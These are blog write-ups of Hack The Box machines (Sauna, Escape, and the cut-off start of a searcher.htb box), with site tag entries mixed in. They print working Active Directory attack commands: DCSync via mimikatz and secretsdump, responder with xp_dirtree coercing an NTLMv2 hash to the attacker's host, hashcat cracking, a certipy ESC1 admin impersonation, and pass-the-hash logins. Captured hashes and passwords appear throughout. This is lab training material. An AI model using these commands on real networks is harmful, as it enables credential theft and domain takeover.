I went the Metasploit way, I created a meterpreter shell, ran it and caught it with exploit/multi/handler and tried to run the exploit from there. On both x64 and x86 versions of the payload I got information that the payload failed because the architecture didn\u0026rsquo;t match the environment. I tried migrating the process around to no avail.\nI decided to take a step back and run WinPEAS on the target host to look for any alternative ways to priv-esc. To my surprise, winpeas found clear-text autologon credentials! I don\u0026rsquo;t think I ever seen them utilized on a box before - svc_loanmanager:Moneymakestheworldgoround! I checked possible access with netexec but I didn\u0026rsquo;t find anything. I also struggle to spawn a cmd or PowerShell shell with runas within winrm.\nPreviously I noted this fact \u0026quot;SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL\u0026quot; has GetChanges on \u0026quot;EGOTISTICAL-BANK.LOCAL\u0026quot; itself. I will try to run secretsdump.py with the creds I know and maybe I will be able to dump the data. secretsdump.py EGOTISTICAL-BANK.LOCAL/svc_loanmanager:'Moneymakestheworldgoround!'@sauna.EGOTISTICAL-BANK.LOCAL\nI wasn\u0026rsquo;t able to dump that data and a struggle a lot to understand why the user is not being found by my tools. I search with ldapsearch and enumerated a lot of data. I later realized that the user was names first \u0026ldquo;svc_loanmanager\u0026rdquo; but in bloodhound it\u0026rsquo;s \u0026ldquo;svc_loanmgr\u0026rdquo;. I took me too long to admin that mistake. Even though I fixed my secretsdump.py syntax it still would allow me to dump the data.\nAdministrator I then double-checked my permissions in bloodhound and proceeded to download mimikatz on the target. I wasn\u0026rsquo;t able to run it interactively with .\\mimikatz.exe as it looped in trying to start mimikatz in that mode. To avoid it, I ran it with one liners like .\\mimikatz.exe \u0026quot;lsadump::dcsync /domain:EGOTISTICAL-BANK.LOCAL /user:Administrator\u0026quot; exit.\nThis command returned the administrator\u0026rsquo;s NTLM hash - 823452073d75b9d1cf70ebdf86c7f98e which I used with evil-winrm -i 10.129.95.180 -u Administrator -H 823452073d75b9d1cf70ebdf86c7f98e\nClosing Thoughts Sauna is an interesting machine. It goes through a relatively straight-forwards attack path but I fell into a number of false assumptions and rabbit-holes which costed me a lot of time. It\u0026rsquo;s serves as a great reminder to perform a full enumeration before jumping into any conclusions, to leave no stone upturned and to pay attention to small details.\nMy first assumption was that the foothold will be related to the website, but at the end it wasn\u0026rsquo;t really useful besides learning the names of some users. Later I convinced myself that the correct privilege escalation vector will be related to a printer - CVE-2019-19363 to be specific - but it wasn\u0026rsquo;t it at all. Lastly I wasted a lot of additional time figuring out why \u0026ldquo;svc_loanmanager\u0026rdquo; didn\u0026rsquo;t work, and I didn\u0026rsquo;t connect the dots that the username was wrong or just edited in the past.\nFun box.\n","date":"09.04.2026","externalUrl":null,"permalink":"/posts/htb/sauna/","section":"Posts","summary":"Sauna is an interesting machine. It goes through a relatively straight-forwards attack path but I fell into a number of false assumptions and rabbit-holes which costed me a lot of time. It’s serves as a great reminder to perform a full enumeration before jumping into any conclusions, to leave no stone upturned and to pay attention to small details.","title":"Sauna","type":"posts"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/secretsdump.py/","section":"Tags","summary":"","title":"Secretsdump.py","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/smbclient/","section":"Tags","summary":"","title":"Smbclient","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/username-anarchy/","section":"Tags","summary":"","title":"Username-Anarchy","type":"tags"},{"content":"","date":"09.04.2026","externalUrl":null,"permalink":"/tags/winpeas/","section":"Tags","summary":"","title":"Winpeas","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/adcs/","section":"Tags","summary":"","title":"Adcs","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/bloodhound-python/","section":"Tags","summary":"","title":"Bloodhound-Python","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/certipy/","section":"Tags","summary":"","title":"Certipy","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/esc1/","section":"Tags","summary":"","title":"Esc1","type":"tags"},{"content":" Enumeration I ran my favorite nmap commands on the provided IP. nmap scan results Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 0.55% done Nmap scan report for 10.129.19.47 Host is up (0.028s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-06 22:57:49Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel | Not valid before: 2024-01-18T23:03:57 |_Not valid after: 2074-01-05T23:03:57 |_ssl-date: 2026-04-06T22:59:14+00:00; +8h00m00s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2026-04-06T22:59:13+00:00; +7h59m59s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel | Not valid before: 2024-01-18T23:03:57 |_Not valid after: 2074-01-05T23:03:57 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |_ssl-date: 2026-04-06T22:59:14+00:00; +8h00m00s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2026-04-06T22:55:27 |_Not valid after: 2056-04-06T22:55:27 |_ms-sql-info: ERROR: Script execution failed (use -d to debug) |_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel | Not valid before: 2024-01-18T23:03:57 |_Not valid after: 2074-01-05T23:03:57 |_ssl-date: 2026-04-06T22:59:14+00:00; +8h00m00s from scanner time. 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2026-04-06T22:59:13+00:00; +7h59m59s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:dc.sequel.htb, DNS:sequel.htb, DNS:sequel | Not valid before: 2024-01-18T23:03:57 |_Not valid after: 2074-01-05T23:03:57 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (97%) OS CPE: cpe:/o:microsoft:windows_server_2019 Aggressive OS guesses: Windows Server 2019 (97%) No exact OS matches for host (test conditions non-ideal). Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-04-06T22:58:34 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m58s OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 98.48 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-06 16:59 CEST Nmap scan report for 10.129.19.47 Host is up (0.029s latency). Not shown: 65515 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49667/tcp open unknown 49689/tcp open unknown 49690/tcp open unknown 49711/tcp open unknown 49720/tcp open unknown 49741/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 105.05 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-06 17:01 CEST Nmap scan report for 10.129.19.47 Host is up (0.029s latency). Not shown: 996 open|filtered udp ports (no-response) PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp 389/udp open ldap We can see a number of Active Directory related ports opened. From the output I see the domain name and DC name as well - sequel.htb \u0026amp; dc.sequel.htb. I will add them to /etc/hosts and start from enumerating DNS.\nDNS For enumerating DNS I like to run a number of dig commands. I like to first start by enumerating the name server dig @sequel.htb dc.sequel.htb NS. dig @sequel.htb dc.sequel.htb SOA for basic information about the domain. The mail server dig @sequel.htb dc.sequel.htb MX I also like to check TXT and ALL for some left over data. And at the end I like to test for a zone transfer with dig @sequel.htb dc.sequel.htb SOA.\nI also try to enumerate all domains and subdomains to make sure that I don\u0026rsquo;t miss anything. dig\u0026rsquo;s output is pretty messy, but It\u0026rsquo;s good to practice working with it.\nSMB I found no new data with DNS, let\u0026rsquo;s look for some easy data with null SMB access. Unfortunately there isn\u0026rsquo;t an anonymous access to it. I also run sudo ntpdate sequel.htb just to make user it\u0026rsquo;s not because of the time skew.\nSeeing as the domain is named \u0026ldquo;sequel\u0026rdquo; maybe there is \u0026ldquo;prequel\u0026rdquo; or other subdomains in general. I will check in a second, I want to enumerate users on the domain. It can be done with netexec smb 10.129.19.47 -u 'guest' -p '' -rid-brute but it looks like the guest account is disabled.\nPS: It was enabled, maybe uppercase would help or there was some setting that didn\u0026rsquo;t allow it to work. Admittedly, I didn\u0026rsquo;t look deeply into that.\nBackground scanning For subdomains, I would usually run something like ffuf -u sequel.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/ -H \u0026quot;Host: FUZZ.sequel.htb\u0026quot; in the background, but ffuf requires HTTP and a web server for this to work so it won\u0026rsquo;t fly. gobuster dns -d sequel.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt on the other hand, queries DNS directly. It\u0026rsquo;s slower but it does the job.\nBackground subdomain bruteforce found no new domains.\nLDAP I can check if I can scoop some data with some anonymous ldapsearch queries. I ran ldapsearch -x -H ldap://10.129.19.47 -b \u0026quot;DC=sequel,DC=htb\u0026quot; but it looks like LDAP requires credentials to correctly bind and server me info. RPC similarly denies me entry when I try a null session - rpcclient -U -N 10.129.19.47.\nInteresting how little information I found, I actually double-checked my connection to make sure all is working well. From interesting services on opened ports I didn\u0026rsquo;t yet check MSSQL out. But I don\u0026rsquo;t think there is any anonymous or null authentication for it. Funny how the box name is \u0026ldquo;Escape\u0026rdquo; but I can\u0026rsquo;t \u0026ldquo;Enter\u0026rdquo; it so far. Wsman and ADWS are similar, they require authentication and creds to be useful.\nFoothold I went back on my steps and noticed that I imputed the smbclient flags incorrectly. Previously I ran smbclient -L -N //10.129.228.253/ but the correct placement is smbclient -N -L //10.129.228.253/.\nWith smbmap -H 10.129.228.253 -u 'anonymous' -p '' I can see that the only readable shares for me are now IPC and Public. In the Public share we can find a \u0026ldquo;SQL Server Procedures.pdf\u0026rdquo; file with I downloaded to my host. I can\u0026rsquo;t run ls inside IPC so It seems I have insufficient permissions to properly enumerate it. The pdf holds information about previous incidents in the company related to insecure practices with their SQL servers at their company. From the pdf we got a step-by-step guide how to access the database, command to do so, basic credentials and a number of users mentioned. Also an email so we know the naming structure if it will come to some sort of bruteforcing.\nUsers: Ryan Tom Brandon (Brandon.Brown@sequel.com) Credentials: PublicUser:GuestUserCantWrite1\nThe guide mentions to use cmdkey /add:\u0026quot;\u0026lt;serverName\u0026gt;.sequel.htb\u0026quot; /user:\u0026quot;sequel\\\u0026lt;username\u0026gt;\u0026quot; /pass:\u0026lt;password\u0026gt; however this is a windows command. I\u0026rsquo;m fairly certain that I can just plug them into mssqlclient.py from impacket. impacket-mssqlclient PublicUser:GuestUserCantWrite1@10.129.228.253.\nMSSQL I managed to authenticate to the SQL Server. I checked what databases are there with:\nSQL (PublicUser guest@master)\u0026gt; SELECT name FROM sys.databases; name ------ master tempdb model msdb Later, I enumerated the MSSQL with these basic commands:\nUse a database - USE master Show tables - SELECT name FROM master.dbo.sysdatabases Access data in tables - SELECT table_name FROM master.INFORMATION_SCHEMA.TABLES But I didn\u0026rsquo;t find anything useful. I went through my other notes and tried to use XP_CMDSHELL, read files and impersonate other users that I found before but all didn\u0026rsquo;t lead to any privilege escalation. I searched further and with SELECT srvname, isremote FROM sysservers I found out that there is another SQL server. Judging by the context, this is the original DC Mockup. Sadly EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [DC\\SQLMOCK] shows that my current user has insufficient permissions to query it.\nAs there is no one I can impersonate and my user has lacking permissions I will look for some password reuse. I checked with netexec what PublicUser can do. It showed that it could query LDAP but after trying it out with ldapsearch It seems that even tho it can correctly authenticate, it\u0026rsquo;s being denied the permission to do so.\nLooking though my other notes for MSSQL I found that there is a way to catch an MSSQL\u0026rsquo;s NTLMv2 hash with responder so I tried that. I ran responder -i tun0 and then in MSSQL EXEC master..xp_dirtree '\\\\10.10.15.189\\random' to trick it into authenticating to my host. This worked and I caught the hash.\nLoot: [SMB] NTLMv2-SSP Client : 10.129.228.253 [SMB] NTLMv2-SSP Username : sequel\\sql_svc [SMB] NTLMv2-SSP Hash : sql_svc::sequel:2d7a260b829dfd6c:20DBD9BB0FAD204C34040A771E96C595:0101000000000000808D60B351C7DC01C44CDB13A2F20E1600000000020008004B004E005400310001001E00570049004E002D00390033003200570036004B004600550050003900360004003400570049004E002D00390033003200570036004B00460055005000390036002E004B004E00540031002E004C004F00430041004C00030014004B004E00540031002E004C004F00430041004C00050014004B004E00540031002E004C004F00430041004C0007000800808D60B351C7DC0106000400020000000800300030000000000000000000000000300000B3C49F6D23AD7F502D71A2E45F21AB5A0C4CE49C19953B329BBA1A333BE0E0F20A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100380039000000000000000000 I copied the NTLMv2 hash into a file and ran it against rockyou with hashcat sql_svc.hash /usr/share/wordlists/rockyou.txt. With that, I cracked it - sql_svc:REGGIE1234ronnie\nPrivilege Escalation Now as a sql_svc I want to check what I can authenticate to. I grew a bit tired to running a few separate netexec commands so I created a simple loop for that: for p in smb winrm mssql; do netexec $p 10.129.228.253 -u ''sql_svc -p 'REGGIE1234ronnie'; done PS: I actually created a small bash script for this, you can find it here :)\nI noticed that - interestingly - sql_svc has access to winrm which I didn\u0026rsquo;t expect. I used evil-winrm and successfully authenticated into the host. I started to manually enumerate the user\u0026rsquo;s files but I didn\u0026rsquo;t find anything useful there, no creds, not user flag and nothing of note in AppData. I enumerated the user\u0026rsquo;s one the host.\nd----- 2/7/2023 8:58 AM Administrator d-r--- 7/20/2021 12:23 PM Public d----- 2/1/2023 6:37 PM Ryan.Cooper d----- 2/7/2023 8:10 AM sql_svc Going down into the root directory I saw the \u0026ldquo;SQLServer\u0026rdquo; folder and entered it. I looked around and downloaded any log, config or generally interesting files into my localhost so I can go through them in search of any leaks, mentioned vulnerabilities, custom scripts or software versions.\nOne of those files was ERRORLOG.BAK which after further inspection shows that the user Ryan.Cooper tried but failed to authenticate into the SQL server. 2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1] Amid this data we can see that the user - likely by accident - inputted their password in clear-text as a username - Ryan.Cooper:NuclearMosquito3\nSimilarly to sql_svc i ran netexec and looked what I can access with the new user. Seeing that I could access the host via winrm I did just that. Looking at the user\u0026rsquo;s files I found the user flag on the Desktop, and begun to look for further privilege escalation vectors. I enumerated the AppData folder, looked for custom scripts, ran whoami /all and generally did a basic lookup of what I could do as the user.\nWinPEAS Not finding any low-hanging fruit, I decided to download and run WinPEAS as well as enumerate the domain with bloodhound-python and rusthound. Below are some interesting parts of WinPEAS output which I decided to note. Promising winPEAS output ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Named Pipes Name CurrentUserPerms Sddl eventlog Everyone [Allow: WriteData/CreateFiles] O:LSG:LSD:P(A;;0x12019b;;;WD)(A;;CC;;;OW)(A;;0x12008f;;;S-1-5-80-880578595-1860270145-482643319-2788375705-1540778122) MSSQL$SQLMOCK\\sql\\query Everyone [Allow: WriteData/CreateFiles] O:S-1-5-21-4078382237-1492182817-2568127209-1106G:DUD:(A;;0x12019b;;;WD)(A;;LC;;;S-1-5-21-4078382237-1492182817-2568127209-1106) ROUTER Everyone [Allow: WriteData/CreateFiles] O:SYG:SYD:P(A;;0x12019b;;;WD)(A;;0x12019b;;;AN)(A;;FA;;;SY) RpcProxy\\49689 Everyone [Allow: WriteData/CreateFiles] O:BAG:SYD:(A;;0x12019b;;;WD)(A;;0x12019b;;;AN)(A;;FA;;;BA) RpcProxy\\593 Everyone [Allow: WriteData/CreateFiles] O:NSG:NSD:(A;;0x12019b;;;WD)(A;;RC;;;OW)(A;;0x12019b;;;AN)(A;;FA;;;S-1-5-80-521322694-906040134-3864710659-1525148216-3451224162)(A;;FA;;;S-1-5-80-979556362-403687129-3954533659-2335141334-1547273080) SQLLocal\\SQLMOCK Everyone [Allow: WriteData/CreateFiles] O:S-1-5-21-4078382237-1492182817-2568127209-1106G:DUD:(A;;0x12019b;;;WD)(A;;LC;;;S-1-5-21-4078382237-1492182817-2568127209-1106) vgauth-service Everyone [Allow: WriteData/CreateFiles] O:BAG:SYD:P(A;;0x12019f;;;WD)(A;;FA;;;SY)(A;;FA;;;BA) --- MinPasswordLength: 7 --- ÉÍÍÍÍÍÍÍÍÍÍ¹ Autorun Applications È Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there) https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html Folder: C:\\Users\\Ryan.Cooper\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup FolderPerms: Ryan.Cooper [Allow: AllAccess] File: C:\\Users\\Ryan.Cooper\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini (Unquoted and Space detected) - C:\\Users\\Ryan.Cooper\\AppData\\Roaming\\Microsoft\\Windows FilePerms: Ryan.Cooper [Allow: AllAccess] Potentially sensitive file content: LocalizedResourceName=@%SystemRoot%\\system32\\shell32.dll,-21787 --- If you can modify a template (WriteDacl/WriteOwner/GenericAll), you can abuse ESC4 Dangerous rights over template: User (Rights: WriteProperty,ExtendedRight) Dangerous rights over template: UserSignature (Rights: WriteProperty,ExtendedRight) Dangerous rights over template: ClientAuth (Rights: WriteProperty,ExtendedRight) Dangerous rights over template: EFS (Rights: WriteProperty,ExtendedRight) Dangerous rights over template: UserAuthentication (Rights: WriteProperty,ExtendedRight) [*] Tip: Abuse with tools like Certipy (template write -\u0026gt; ESC1 -\u0026gt; enroll). The named pipes seen above sounded as a possible priv-esc but from what I gathered if there is no impersonation, SYSTEM/Administrator or \u0026ldquo;Full Control\u0026rdquo; permissions then It likely won\u0026rsquo;t do much. I noted that the minimal password length was 7 characters in case of a need to bruteforce. I noticed an interesting potentially sensitive file mentioned in an autorun application but similarly to the named pipes, it didn\u0026rsquo;t mention any highly privileged users so it would likely not help much. The last part I noted was information about dangerous rights over a few templates (so ADCS) which could be interesting. I had some experience with those and I have a bad habit of forgetting to enumerate this vector with certipy. I kept a mental note of the aforementioned vectors and judging by my gut feeling of how successful they might be I decided to focus on the ADCS path of attack.\nbloodhound-python \u0026amp; rusthound Before I did anything tho, I wanted to still look what bloodhound can show me, as I could\u0026rsquo;ve very easily miss some group rights or permissions. Also, it\u0026rsquo;s easy to get data from bloodhound and It will come in handy when creating certipy commands.\nI run by bloodhound command with bloodhound-python -u Ryan.Cooper -p 'NuclearMosquito3' -d sequel.htb -dc dc.sequel.htb -ns 10.129.228.253 -c all; rusthound-ce -d sequel.htb -u Ryan.Cooper -p 'NuclearMosquito3' --zip -c All --ldaps getting both general data from bloodhound-python and some additional certificate data that rusthound covers and begun to enumerate.\nCertipy - ESC1 Admittedly, I didn\u0026rsquo;t find anything really useful, no additional paths of escalation. Because of that I decided to go with certipy.\nI scanned Ryan\u0026rsquo;s permissions on certificates with certipy find -u Ryan.Cooper@sequel.htb -p NuclearMosquito3 -target-ip 10.129.228.253 -vulnerable -stdout and from the output I noticed that Ryan.Cooper seems to be vulnerable to ESC1. After double-checking with my notes from Authority, he seems to check all the required boxes for this to work. Said requirements are:\nEnrollee Supplies Subject = True Client Authentication = True (or a few others) \u0026ldquo;User Enrollable Principals\u0026rdquo; showing a group your user is a part of Requires Manager Approval = False Authorized Signatures Required = 0 So, I begun to stitch together a certipy command. I ran -debug a few times as I never manage to run it correctly on the first try and came back with this one: certipy req -u 'Ryan.Cooper@sequel.htb' -p 'NuclearMosquito3' -dc-ip '10.129.228.253' -target 'dc.sequel.htb' -ca 'sequel-DC-CA' -template 'UserAuthentication' -upn 'administrator@sequel.htb' -sid 'S-1-5-21-4078382237-1492182817-2568127209-1105' -dc-host dc.sequel.htb -target-ip 10.129.228.253. Small rant: My god is certipy\u0026rsquo;s syntax annoying to follow. It feels like I need to repeat the same thing three times in one command.\nAnyway, I got the administrator.pfx file which is a bundle of a certificate and a private key. I used it to authenticate as an administrator so that I could get a TGT and an NTML hash - certipy auth -pfx administrator.pfx -dc-ip 10.129.228.253. I also had to fix my time skew so I ran sudo ntpdate 10.129.228.253 and below is the loot:\nLoot: [*] Wrote credential cache to \u0026#39;administrator.ccache\u0026#39; [*] Trying to retrieve NT hash for \u0026#39;administrator\u0026#39; [*] Got hash for \u0026#39;administrator@sequel.htb\u0026#39;: aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee With this information the box is really solved. Now I just had to pick a way and a tool to authenticate as an administrator. I decided to use Kerberos as I\u0026rsquo;m a bit less familiar with it than NTLM.\nI checked if I had any other kerberos tickets saved up in my cache as a good practice:\nazaeir@parrot (~): echo $KRB5CCNAME azaeir@parrot (~): klist klist: No credentials cache found (filename: /tmp/krb5cc_1000) Seeing as there isn\u0026rsquo;t anything there, I added the administrator.ccache that I obtained into my KRB5CCNAME environment variable:\nazaeir@parrot (~): export KRB5CCNAME=administrator.ccache azaeir@parrot (~): echo $KRB5CCNAME administrator.ccache And authenticated to the host with psexec.py -k -no-pass sequel.htb/administrator@dc.sequel.htb. I found the root flag on the Admin\u0026rsquo;s desktop.\nClosing Thoughts Escape is a great machine covering basic network enumeration, intermediate knowledge about MSSQL attack vectors and escalation with ADCS. It doesn\u0026rsquo;t show any niche techniques or obscure vulnerabilities but provides some great fundamental challenges with a seamless and intuitive attack path.\nIt was a good box to sharpen some core elements a pentester\u0026rsquo;s methodology, little to know curve-balls which I do appreciate.\n","date":"08.04.2026","externalUrl":null,"permalink":"/posts/htb/escape/","section":"Posts","summary":"Escape is a great machine covering basic network enumeration, intermediate knowledge about MSSQL attack vectors and escalation with ADCS. It doesn’t show any niche techniques or obscure vulnerabilities but provides some great fundamental challenges with a seamless and intuitive attack path.","title":"Escape","type":"posts"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/gobuster-dns/","section":"Tags","summary":"","title":"Gobuster-Dns","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/impacket-mssqlclient/","section":"Tags","summary":"","title":"Impacket-Mssqlclient","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/kerberos/","section":"Tags","summary":"","title":"Kerberos","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/mssql/","section":"Tags","summary":"","title":"Mssql","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/psexec/","section":"Tags","summary":"","title":"Psexec","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/responder/","section":"Tags","summary":"","title":"Responder","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/rpcclient/","section":"Tags","summary":"","title":"Rpcclient","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/smbmap/","section":"Tags","summary":"","title":"Smbmap","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/winrm/","section":"Tags","summary":"","title":"Winrm","type":"tags"},{"content":"","date":"08.04.2026","externalUrl":null,"permalink":"/tags/xp_dirtree/","section":"Tags","summary":"","title":"Xp_dirtree","type":"tags"},{"content":"","date":"06.04.2026","externalUrl":null,"permalink":"/tags/binary-hijacking/","section":"Tags","summary":"","title":"Binary-Hijacking","type":"tags"},{"content":"","date":"06.04.2026","externalUrl":null,"permalink":"/tags/burpsuite/","section":"Tags","summary":"","title":"Burpsuite","type":"tags"},{"content":" Enumeration nmap I ran my nmap scan and found both HTTP and SSH opened. Given that SSH is likely used later and that we don\u0026rsquo;t have any credentials I checked the website. When i accessed it I noticed that I got a domain name rather than an IP in my URL - searcher.htb - I added it into my /etc/hosts.\nnmap scan results Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:09 CEST Nmap scan report for 10.129.228.217 Host is up (0.028s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA) |_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://searcher.htb/ No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.95%E=4%D=4/5%OT=22%CT=1%CU=31695%PV=Y%DS=2%DC=I%G=Y%TM=69D18C3B OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=108%TI=Z%CI=Z%II=I%TS=A)SEQ( OS:SP=104%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%C OS:I=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=F9%GCD OS:=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2ST11NW7%O2=M4E2ST11NW7%O3=M4E2 OS:NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M4E2ST11)WIN(W1=FE88%W2=FE88%W OS:3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M4E2NNSNW7%CC= OS:Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T= OS:40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0 OS:%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40% OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.54 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST Nmap scan report for 10.129.228.217 Host is up (0.027s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 14.48 seconds Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-05 00:10 CEST Nmap scan report for searcher.htb (10.129.228.217) Host is up (0.028s latency). Not shown: 999 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc Nmap done: 1 IP address (1 host up) scanned in 1008.62 seconds HTTP After then I was greeted with a simple website with a form that lets you pick a search engine and look for data with a selected one. In the background I ran ffuf -u https://searcher.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt to look for interesting directories and ffuf -u https://searcher.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H \u0026quot;Host: FUZZ.searcher.htb\u0026quot; for subdomains. Those results came back empty. There were also no comments in the website code.\nLooking into the POST request with BurpSuite I noticed that the request changes depending if we check the \u0026ldquo;Auto redirect\u0026rdquo; box. Without the box checked - engine=DuckDuckGo\u0026amp;query=%2Fetc%2Fpasswd With the box checked - engine=DuckDuckGo\u0026amp;query=%2Fetc%2Fpasswd\u0026amp;auto_redirect=\nManual attempts at LFI didn\u0026rsquo;t work as the website filters / into their encoded %2F. I tried using multiple //, encoding and double-encoding dashes myself and using \\ before and after them to confuse the filter, but it didn\u0026rsquo;t work. I tested for an RFI inputting http://127.0.0.1:80/../../etc/passwd into different parameters without any results.\nI also looked through the engines to see if there isn\u0026rsquo;t a one that could be taken advantage of but I didn\u0026rsquo;t find such one. Too bad as we can make the server perform requests outside on our behalf and so this seems like such an opportunity for SSRF. I also can\u0026rsquo;t add custom engines in the POST request itself as it doesn\u0026rsquo;t go through.\nI remembered that I saw IppSec using an SSTI 